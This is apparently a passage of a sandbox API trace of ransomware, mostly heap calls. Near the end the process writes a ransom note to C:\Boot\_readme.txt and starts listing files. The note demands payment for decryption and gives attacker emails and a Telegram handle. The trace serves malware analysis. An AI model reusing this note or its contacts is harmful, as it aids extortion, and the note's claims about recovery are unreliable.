Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.796] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.799] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.799] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.799] PathFindFileNameW (pszPath="") returned="" [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.799] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.799] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.799] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.800] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.800] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.800] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30f90a8 [0124.800] lstrcpyW (in: lpString1=0x30f90a8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.800] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.800] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.800] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, 